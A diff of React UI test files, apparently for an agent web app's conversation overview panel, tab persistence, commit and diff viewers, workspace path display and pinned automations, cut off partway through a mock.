screen.queryByTestId("conversation-overview-git-title"), + ).not.toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-mcp"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-automations"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-skills"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-secrets"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-issues"), + ).not.toBeInTheDocument(); + }); + + it("shows changes inside the git area with commits and pull requests when a repo is connected", async () => { + const user = userEvent.setup(); + renderPanel(); + + const gitBlock = screen.getByTestId("conversation-overview-git-block"); + const diffs = screen.getByTestId("conversation-overview-diffs"); + expect(gitBlock).toContainElement(diffs); + + const workspace = screen.getByTestId("conversation-overview-workspace"); + const gitSection = screen.getByTestId("conversation-overview-git-section"); + // Workspace sits below the git content. + expect(gitSection.compareDocumentPosition(workspace)).toBe( + Node.DOCUMENT_POSITION_FOLLOWING, + ); + const repoLink = screen.getByTestId("conversation-overview-git-repo"); + expect(repoLink).toHaveTextContent("openhands/agent-canvas"); + expect(repoLink.getAttribute("href")).toContain("github.com"); + const branchLink = screen.getByTestId("conversation-overview-git-branch"); + expect(branchLink).toHaveTextContent("main"); + expect(branchLink).toHaveAttribute( + "href", + "https://github.com/openhands/agent-canvas/tree/main", + ); + expect( + screen.getByTestId("conversation-overview-commits-count"), + ).toHaveTextContent("3"); + expect( + screen.getByTestId("conversation-overview-pull-requests-count"), + ).toHaveTextContent("1"); + + await user.click(screen.getByTestId("conversation-overview-commits")); + expect(navigateToCommits).toHaveBeenCalled(); + + await user.click(screen.getByTestId("conversation-overview-pull-requests")); + expect(openSection).toHaveBeenCalledWith( + CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests, + ); + }); + + it("lets users pin and unpin git changes from the overflow menu", async () => { + const user = userEvent.setup(); + renderPanel(); + + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-ellipsis")); + expect( + screen.getByTestId("conversation-overview-context-menu"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-divider-git"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "true"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ); + + expect( + screen.queryByTestId("conversation-overview-diffs"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "false"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ); + + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "true"); + }); + + it("lets users unpin the git section and individual git parts from the overflow menu", async () => { + const user = userEvent.setup(); + renderPanel(); + + expect( + screen.getByTestId("conversation-overview-git-section"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-ellipsis")); + expect( + screen.getByTestId("conversation-overview-menu-pin-git"), + ).toHaveAttribute("aria-pressed", "true"); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-branch"), + ).toHaveAttribute("aria-pressed", "true"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-branch"), + ); + expect( + screen.queryByTestId("conversation-overview-git-branch"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-git-repo"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-menu-pin-git")); + expect( + screen.queryByTestId("conversation-overview-git-block"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git"), + ).toHaveAttribute("aria-pressed", "false"); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx new file mode 100644 index 000000000000..ec89ba7b24c8 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx @@ -0,0 +1,106 @@ +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationOverviewSkillsPanel } from "#/components/features/conversation/conversation-overview-skills-panel"; +import SettingsService from "#/api/settings-service/settings-service.api"; +import SkillsService from "#/api/skills-service"; +import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; +import type { SkillInfo } from "#/types/settings"; +import { ActiveBackendProvider } from "#/contexts/active-backend-context"; + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { selected_workspace: "/workspace/project/demo" }, + }), +})); + +function buildSkill(overrides: Partial = {}): SkillInfo { + return { + name: "deno", + type: "knowledge", + source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md", + description: "Use this skill for Deno projects.", + triggers: ["deno"], + version: "1.0.0", + license: "Apache-2.0", + compatibility: null, + metadata: null, + allowed_tools: null, + is_agentskills_format: true, + disable_model_invocation: false, + ...overrides, + }; +} + +function renderPanel(openAdd = false) { + return render(, { + wrapper: ({ children }) => ( + + {children} + + ), + }); +} + +describe("ConversationOverviewSkillsPanel", () => { + beforeEach(() => { + vi.restoreAllMocks(); + vi.spyOn(SettingsService, "getSettings").mockResolvedValue( + MOCK_DEFAULT_USER_SETTINGS, + ); + }); + + it("opens the add skill modal when openAdd is true", async () => { + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]); + + renderPanel(true); + + expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument(); + }); + + it("shows the empty state without an inline add skill button", async () => { + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]); + + renderPanel(); + + expect( + await screen.findByTestId("conversation-overview-skills-empty"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-skills-add-skill-button"), + ).not.toBeInTheDocument(); + }); + + it("defaults to this-project scope and can show all skills", async () => { + const user = userEvent.setup(); + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([ + buildSkill({ + name: "project-skill", + source: "/workspace/project/demo/.openhands/skills/project/SKILL.md", + }), + buildSkill({ name: "public-skill" }), + ]); + + renderPanel(); + + expect( + await screen.findByTestId("conversation-overview-skills-scope"), + ).toBeInTheDocument(); + expect(await screen.findByText("project-skill")).toBeInTheDocument(); + expect(screen.queryByText("public-skill")).not.toBeInTheDocument(); + + await user.click( + screen.getByTestId("conversation-overview-skills-scope-option-all"), + ); + + expect(await screen.findByText("public-skill")).toBeInTheDocument(); + expect(screen.getByText("project-skill")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx new file mode 100644 index 000000000000..5d6cd9253505 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx @@ -0,0 +1,126 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewToggle } from "#/components/features/conversation/conversation-overview-toggle"; +import { useConversationStore } from "#/stores/conversation-store"; + +const { breakpointIsMobile } = vi.hoisted(() => ({ + breakpointIsMobile: { value: false }, +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => breakpointIsMobile.value, +})); + +vi.mock("#/hooks/use-is-archived-conversation", () => ({ + useIsArchivedConversation: () => false, +})); + +vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({ + ConversationOverviewPanel: () => ( +
+ ), +})); + +describe("ConversationOverviewToggle", () => { + beforeEach(() => { + breakpointIsMobile.value = false; + useConversationStore.setState({ + isOverviewPanelShown: false, + isOverviewPanelPeeked: false, + isRightPanelShown: false, + hasRightPanelToggled: false, + }); + }); + + it("toggles the overview panel when clicked", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(true); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + + it("closes the files drawer and shows overview when the files drawer is open", async () => { + const user = userEvent.setup(); + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + hasRightPanelToggled: true, + }); + render(); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + + const state = useConversationStore.getState(); + expect(state.isRightPanelShown).toBe(false); + expect(state.hasRightPanelToggled).toBe(false); + expect(state.isOverviewPanelShown).toBe(true); + }); + + it("closes the overview panel when the right drawer opens", () => { + useConversationStore.setState({ + isOverviewPanelShown: true, + isRightPanelShown: false, + }); + + const { rerender } = render(); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(true); + + useConversationStore.setState({ isRightPanelShown: true }); + rerender(); + + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + + it("peeks the overview on hover while the right drawer is open", async () => { + const user = userEvent.setup(); + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + }); + render(); + + await user.hover(screen.getByTestId("conversation-overview-toggle")); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-panel"), + ).toBeInTheDocument(); + }); + + it("does not peek the overview on hover when the right drawer is closed", async () => { + const user = userEvent.setup(); + render(); + + await user.hover(screen.getByTestId("conversation-overview-toggle")); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(false); + expect( + screen.queryByTestId("conversation-overview-peek"), + ).not.toBeInTheDocument(); + }); + + it("stays visible and supports hover peek on smaller screens", async () => { + const user = userEvent.setup(); + breakpointIsMobile.value = true; + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + }); + render(); + + const toggle = screen.getByTestId("conversation-overview-toggle"); + expect(toggle).toBeInTheDocument(); + + await user.hover(toggle); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true); + expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx index 36c60f338798..6dd3f78d10b4 100644 --- a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx +++ b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx @@ -62,11 +62,18 @@ describe("ConversationTabsContextMenu", () => { it("should render all default tabs when open", () => { render(); - const expectedTabs = ["COMMON$FILES", "COMMON$TERMINAL", "COMMON$BROWSER"]; + const expectedTabs = [ + "COMMON$FILES", + "DIFF_VIEWER$COMMITS", + "COMMON$TERMINAL", + "COMMON$BROWSER", + ]; for (const tab of expectedTabs) { expect(screen.getByText(tab)).toBeInTheDocument(); } + expect(screen.queryByText("FILES$DIFF_VIEW")).not.toBeInTheDocument(); + // Planner is cloud-only; on the default (local) backend it is hidden. expect(screen.queryByText("COMMON$PLANNER")).not.toBeInTheDocument(); }); @@ -132,13 +139,14 @@ describe("ConversationTabsContextMenu", () => { const storeState = useConversationStore.getState(); expect(storeState.hasRightPanelToggled).toBe(true); - expect(storeState.selectedTab).toBe("terminal"); + // Next pinned tab after Files is Commits. + expect(storeState.selectedTab).toBe("commits"); const storedState = JSON.parse( localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, ); expect(storedState.unpinnedTabs).toContain("files"); - expect(storedState.selectedTab).toBe("terminal"); + expect(storedState.selectedTab).toBe("commits"); }); it("should not close the right panel when unpinning a non-active tab", async () => { diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx index 11b01527e41b..7a145ee986d5 100644 --- a/__tests__/components/features/conversation/conversation-tabs.test.tsx +++ b/__tests__/components/features/conversation/conversation-tabs.test.tsx @@ -82,6 +82,8 @@ const seedConversationState = ( JSON.stringify({ selectedTab: "files", unpinnedTabs: [], + unpinnedOverviewSections: [], + unpinnedOverviewGitParts: [], conversationMode: "code", subConversationTaskId: null, draftMessage: null, @@ -102,6 +104,7 @@ function seedActiveBackend(backend: Backend): void { const setActiveTabState = (tab: "files" | "planner") => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: tab, + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: tab, @@ -160,9 +163,7 @@ describe("ConversationTabs localStorage behavior", () => { const parsed = JSON.parse(storedState!); expect(parsed).toHaveProperty("selectedTab"); expect(parsed).toHaveProperty("unpinnedTabs"); - // The right-drawer open state is session-only and must never - // be persisted into the consolidated conversation-state blob. - expect(parsed).not.toHaveProperty("rightPanelShown"); + expect(parsed.rightPanelShown).toBe(true); }); }); @@ -186,16 +187,15 @@ describe("ConversationTabs localStorage behavior", () => { const terminalTab = screen.getByTestId("conversation-tab-terminal"); await user.click(terminalTab); - // Assert: Panel should be open and terminal tab selected (in-memory only). + // Assert: Panel should be open and terminal tab selected. expect(useConversationStore.getState().selectedTab).toBe("terminal"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - // Tab selection persists to localStorage; drawer-open state does not. const storedState = JSON.parse( localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, ); expect(storedState.selectedTab).toBe("terminal"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should close panel when clicking the same active tab", async () => { @@ -203,6 +203,10 @@ describe("ConversationTabs localStorage behavior", () => { const user = userEvent.setup(); // Arrange: Panel is open with editor tab selected + seedConversationState(REAL_CONVERSATION_ID, { + selectedTab: "files", + rightPanelShown: true, + }); useConversationStore.setState({ selectedTab: "files", isRightPanelShown: true, @@ -217,17 +221,13 @@ describe("ConversationTabs localStorage behavior", () => { const editorTab = screen.getByTestId("conversation-tab-files"); await user.click(editorTab); - // Assert: Panel should be closed (in-memory only). + // Assert: Panel should be closed and persisted. expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); - // localStorage must NOT carry the drawer-open state — that's - // session-only by design. - const raw = localStorage.getItem( - `conversation-state-${REAL_CONVERSATION_ID}`, + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + expect(storedState.rightPanelShown).toBe(false); }); it("should switch to different tab when clicking another tab while panel is open", async () => { @@ -235,6 +235,10 @@ describe("ConversationTabs localStorage behavior", () => { const user = userEvent.setup(); // Arrange: Panel is open with editor tab selected + seedConversationState(REAL_CONVERSATION_ID, { + selectedTab: "files", + rightPanelShown: true, + }); useConversationStore.setState({ selectedTab: "files", isRightPanelShown: true, @@ -289,7 +293,7 @@ describe("ConversationTabs localStorage behavior", () => { expect(refreshButtons).toHaveLength(0); }); - it("places the Files tab leftmost in the tab bar", () => { + it("places the Files tab leftmost, followed by Commits", () => { setActiveTabState("files"); render(, { @@ -300,8 +304,13 @@ describe("ConversationTabs localStorage behavior", () => { document.querySelectorAll('[data-testid^="conversation-tab-"]'), ); const testIds = tabs.map((t) => t.getAttribute("data-testid")); - // Files must be the first tab rendered in the bar. + // Files must be the first tab; Commits sits beside it as the git view. expect(testIds[0]).toBe("conversation-tab-files"); + expect(testIds).toContain("conversation-tab-commits"); + expect(testIds).not.toContain("conversation-tab-changes"); + expect(testIds.indexOf("conversation-tab-files")).toBeLessThan( + testIds.indexOf("conversation-tab-commits"), + ); }); it("keeps Files leftmost even when the task list tab is present", () => { @@ -335,6 +344,7 @@ describe("ConversationTabs localStorage behavior", () => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: "planner", unpinnedTabs: ["planner"], + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: "planner", @@ -365,6 +375,7 @@ describe("ConversationTabs localStorage behavior", () => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: "files", unpinnedTabs: ["planner"], + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: "files", diff --git a/__tests__/components/features/conversation/right-panel-toggle.test.tsx b/__tests__/components/features/conversation/right-panel-toggle.test.tsx index f3a17912b52a..a4fd8dba39d2 100644 --- a/__tests__/components/features/conversation/right-panel-toggle.test.tsx +++ b/__tests__/components/features/conversation/right-panel-toggle.test.tsx @@ -61,10 +61,10 @@ describe("RightPanelToggle", () => { expect(storeState.hasRightPanelToggled).toBe(false); expect(storeState.isRightPanelShown).toBe(false); - const raw = localStorage.getItem(`conversation-state-${CONVERSATION_ID}`); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, + ); + expect(storedState.rightPanelShown).toBe(false); }); it("should show the panel when clicked while panel is hidden", async () => { @@ -84,10 +84,10 @@ describe("RightPanelToggle", () => { expect(storeState.hasRightPanelToggled).toBe(true); expect(storeState.isRightPanelShown).toBe(true); - const raw = localStorage.getItem(`conversation-state-${CONVERSATION_ID}`); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, + ); + expect(storedState.rightPanelShown).toBe(true); }); it("should have aria-pressed attribute reflecting panel state on desktop", () => { diff --git a/__tests__/components/features/diff-viewer/commit-list.test.tsx b/__tests__/components/features/diff-viewer/commit-list.test.tsx new file mode 100644 index 000000000000..1d9794899916 --- /dev/null +++ b/__tests__/components/features/diff-viewer/commit-list.test.tsx @@ -0,0 +1,177 @@ +import React from "react"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi } from "vitest"; +import { CommitList } from "#/components/features/diff-viewer/commit-list"; +import type { GitCommit } from "#/api/open-hands.types"; + +vi.mock("react-i18next", () => ({ + useTranslation: () => ({ + t: (key: string, options?: { count?: number }) => { + if ( + key === "DIFF_VIEWER$UNCOMMITTED_FILE_COUNT" && + typeof options?.count === "number" + ) { + return options.count === 1 + ? `${options.count} file` + : `${options.count} files`; + } + return key; + }, + }), +})); + +vi.mock("#/hooks/query/use-commit-changes", () => ({ + useCommitChanges: () => ({ + data: undefined, + isLoading: false, + isSuccess: false, + }), +})); + +vi.mock("#/components/features/diff-viewer/diff-change-list", () => ({ + DiffChangeList: ({ + changes, + }: { + changes: Array<{ path: string; status: string }>; + }) => ( +
+ {changes.map((change) => ( +
{change.path}
+ ))} +
+ ), +})); + +const makeCommit = (overrides: Partial = {}): GitCommit => ({ + sha: "a".repeat(40), + shortSha: "aaaaaaa", + subject: "add logging", + author: "Agent", + timestamp: "2026-07-10T12:00:00+07:00", + ...overrides, +}); + +describe("CommitList", () => { + it("renders an Uncommitted accordion row above the commit rows", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + expect(screen.getByText("DIFF_VIEWER$UNCOMMITTED")).toBeInTheDocument(); + expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent( + "1 file", + ); + const rows = screen.getAllByTestId(/^(uncommitted-changes-row|commit-row)$/); + expect(rows[0]).toHaveAttribute("data-testid", "uncommitted-changes-row"); + }); + + it("pluralizes the Uncommitted file count", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent( + "2 files", + ); + }); + + it("expands Uncommitted into the working-tree file list", async () => { + // Arrange + const user = userEvent.setup(); + render( + , + ); + + // Act + await user.click(screen.getByTestId("uncommitted-changes-row-toggle")); + + // Assert + expect(await screen.findByText("src/a.ts")).toBeInTheDocument(); + }); + + it("collapses Uncommitted when a commit row is expanded", async () => { + // Arrange + const user = userEvent.setup(); + render( + , + ); + const uncommittedToggle = screen.getByTestId( + "uncommitted-changes-row-toggle", + ); + await user.click(uncommittedToggle); + expect(uncommittedToggle).toHaveAttribute("aria-expanded", "true"); + expect(await screen.findByText("src/a.ts")).toBeInTheDocument(); + + // Act + await user.click(screen.getByTestId("commit-row-toggle")); + + // Assert — single-open accordion: Uncommitted collapses when a commit opens. + expect(uncommittedToggle).toHaveAttribute("aria-expanded", "false"); + expect(screen.getByTestId("commit-row-toggle")).toHaveAttribute( + "aria-expanded", + "true", + ); + }); + + it("expands Uncommitted on request and clears the request", () => { + // Arrange + const onAutoExpandHandled = vi.fn(); + + // Act + render( + , + ); + + // Assert + expect( + screen.getByTestId("uncommitted-changes-row-toggle"), + ).toHaveAttribute("aria-expanded", "true"); + expect(screen.getByText("src/a.ts")).toBeInTheDocument(); + expect(onAutoExpandHandled).toHaveBeenCalled(); + }); + + it("still renders Uncommitted when there are no working-tree changes", () => { + // Arrange / Act + render( + , + ); + + // Assert + expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/diff-viewer/diff-change-list.test.tsx b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx new file mode 100644 index 000000000000..512cb0efe8bd --- /dev/null +++ b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx @@ -0,0 +1,84 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { DiffChangeList } from "#/components/features/diff-viewer/diff-change-list"; + +vi.mock("framer-motion", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Skip exit animations so open/close assertions are synchronous. + useReducedMotion: () => true, + }; +}); + +vi.mock("#/hooks/query/use-unified-git-diff", () => ({ + useUnifiedGitDiff: () => ({ + data: { original: "a", modified: "b" }, + isLoading: false, + isSuccess: true, + isRefetching: false, + }), +})); + +vi.mock("@monaco-editor/react", () => ({ + DiffEditor: () =>
, + Editor: () =>
, +})); + +describe("DiffChangeList", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("keeps only one file expanded at a time", async () => { + const user = userEvent.setup(); + render( + , + ); + + const [firstToggle, secondToggle] = screen.getAllByTestId("collapse"); + + await user.click(firstToggle); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeTruthy(); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeNull(); + + await user.click(secondToggle); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeNull(); + expect( + screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector( + '[data-testid="file-diff-viewer"]', + ), + ).toBeTruthy(); + }); + + it("collapses the open file when its header is clicked again", async () => { + const user = userEvent.setup(); + render( + , + ); + + await user.click(screen.getByTestId("collapse")); + expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument(); + + await user.click(screen.getByTestId("collapse")); + expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx index 8f3a49622f9b..7bdb37e28e5d 100644 --- a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx +++ b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx @@ -1,7 +1,10 @@ import { render, screen } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { describe, it, expect, vi, beforeEach } from "vitest"; -import { FileDiffViewer } from "#/components/features/diff-viewer/file-diff-viewer"; +import { + FileDiffViewer, + MAX_DIFF_EDITOR_HEIGHT_PX, +} from "#/components/features/diff-viewer/file-diff-viewer"; const MOCK_DIFF = { original: "old content", modified: "new content" }; const MOCK_MD_DIFF = { @@ -48,20 +51,29 @@ describe("FileDiffViewer", () => { mockIsLoading = false; }); - it("starts collapsed with no view mode buttons", () => { + it("caps opened editor panes at 600px", () => { + expect(MAX_DIFF_EDITOR_HEIGHT_PX).toBe(600); + }); + + it("keeps view mode controls reserved but inert while collapsed", () => { render(); - expect(screen.queryByTestId("view-mode-old")).not.toBeInTheDocument(); - expect(screen.queryByTestId("view-mode-diff")).not.toBeInTheDocument(); - expect(screen.queryByTestId("view-mode-new")).not.toBeInTheDocument(); + const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement; + expect(viewModeGroup).toHaveClass("invisible"); + expect(screen.getByTestId("view-mode-old")).toHaveAttribute( + "tabIndex", + "-1", + ); }); - it("shows view mode buttons when expanded", async () => { + it("reveals view mode buttons when expanded", async () => { const user = userEvent.setup(); render(); await expand(user); + const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement; + expect(viewModeGroup).not.toHaveClass("invisible"); expect(screen.getByTestId("view-mode-old")).toBeInTheDocument(); expect(screen.getByTestId("view-mode-diff")).toBeInTheDocument(); expect(screen.getByTestId("view-mode-new")).toBeInTheDocument(); diff --git a/__tests__/components/features/files-tab/workspace-path.test.tsx b/__tests__/components/features/files-tab/workspace-path.test.tsx new file mode 100644 index 000000000000..43af240b3842 --- /dev/null +++ b/__tests__/components/features/files-tab/workspace-path.test.tsx @@ -0,0 +1,76 @@ +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { WorkspacePath } from "#/components/features/files-tab/workspace-path"; + +const originalClipboard = navigator.clipboard; + +describe("WorkspacePath", () => { + afterEach(() => { + vi.restoreAllMocks(); + Object.defineProperty(navigator, "clipboard", { + configurable: true, + value: originalClipboard, + }); + }); + + it("shows the effective workspace path", () => { + const path = "/Users/alice/workspace/project/abc123"; + + render(); + + expect(screen.getByTestId("files-tab-workspace-path")).toHaveTextContent( + "WORKSPACE$TITLE:", + ); + expect( + screen.getByTestId("files-tab-workspace-path-value"), + ).toHaveTextContent(path); + }); + + it("keeps the complete path available when the text is truncated", () => { + const path = + "/Users/alice/a-very-long-workspace-name/project/with/nested/directories"; + + render(); + + const value = screen.getByTestId("files-tab-workspace-path-value"); + expect(value).toHaveClass("truncate"); + expect(value).toHaveAttribute("title", path); + }); + + it("copies the complete path and confirms the action", async () => { + const path = "C:\\Users\\alice\\workspace\\project"; + const writeText = vi.fn().mockResolvedValue(undefined); + const user = userEvent.setup(); + Object.defineProperty(navigator, "clipboard", { + configurable: true, + value: { writeText }, + }); + + render(); + + const workspacePath = screen.getByTestId("files-tab-workspace-path"); + await user.click( + within(workspacePath).getByRole("button", { name: "BUTTON$COPY" }), + ); + + expect(writeText).toHaveBeenCalledWith(path); + expect( + within(workspacePath).getByRole("button", { name: "BUTTON$COPIED" }), + ).toBeDisabled(); + }); + + it("does not render without a workspace path", () => { + const { rerender } = render(); + + expect( + screen.queryByTestId("files-tab-workspace-path"), + ).not.toBeInTheDocument(); + + rerender(); + expect( + screen.queryByTestId("files-tab-workspace-path"), + ).not.toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/home/featured-automations-section.test.tsx b/__tests__/components/features/home/featured-automations-section.test.tsx index 31f0771ac130..e5144ff8be21 100644 --- a/__tests__/components/features/home/featured-automations-section.test.tsx +++ b/__tests__/components/features/home/featured-automations-section.test.tsx @@ -11,6 +11,7 @@ import { PinnedAutomationsDashboard } from "#/components/features/home/featured- import { RunningAutomationsList } from "#/components/features/home/featured-automations/running-automations-list"; import { NavigationProvider } from "#/context/navigation-context"; import { HOME_PINNED_AUTOMATIONS_KEY } from "#/hooks/use-home-pinned-automations"; +import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section"; import { AutomationRunStatus, type Automation, @@ -400,8 +401,20 @@ describe("home automations composer layout", () => { await user.click(screen.getByTestId("running-automation-pin-auto-1")); const dashboard = await screen.findByTestId("pinned-automations-dashboard"); + expect(dashboard).toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS); + const pinnedCard = within(dashboard).getByTestId( + "pinned-automation-card-auto-1", + ); + expect(pinnedCard.className).toContain("extension-module-card-interactive"); + expect(pinnedCard.className).toContain("bg-base-secondary"); + expect(pinnedCard.className).not.toContain("border-[var(--oh-border)]"); + expect(pinnedCard).toBeInTheDocument(); + expect( + within(dashboard).getByTestId("pinned-automation-pills-auto-1-wrap"), + ).toBeInTheDocument(); + expect(within(dashboard).getByText("Daily at 09:00")).toBeInTheDocument(); expect( - within(dashboard).getByTestId("pinned-automation-card-auto-1"), + within(pinnedCard).getByTestId("automation-run-stats"), ).toBeInTheDocument(); expect( await within(dashboard).findByRole("link", { @@ -420,6 +433,10 @@ describe("home automations composer layout", () => { expect(getStoredPinnedIds()).toContain("auto-1"); + expect( + screen.queryByTestId("pinned-automation-run-now-auto-1"), + ).not.toBeInTheDocument(); + await user.click(screen.getByTestId("pinned-automation-menu-auto-1")); expect( screen.getByTestId("pinned-automation-run-auto-1"), diff --git a/__tests__/components/features/home/home-chat-launcher.test.tsx b/__tests__/components/features/home/home-chat-launcher.test.tsx index 4c5f0b1f0fbf..58b252ef19fd 100644 --- a/__tests__/components/features/home/home-chat-launcher.test.tsx +++ b/__tests__/components/features/home/home-chat-launcher.test.tsx @@ -201,6 +201,19 @@ vi.mock("#/components/features/home/home-git-control-bar-preview", () => ({ // Stub the picker modal: pressing it selects one plugin then closes, mirroring // the real modal's `onChange` + `onClose` contract. The picker catalog itself // is covered by plugin-picker.test.tsx. +vi.mock("#/components/features/automations/recommended-automations-launcher", () => ({ + RecommendedAutomationsLauncher: ({ + variant, + 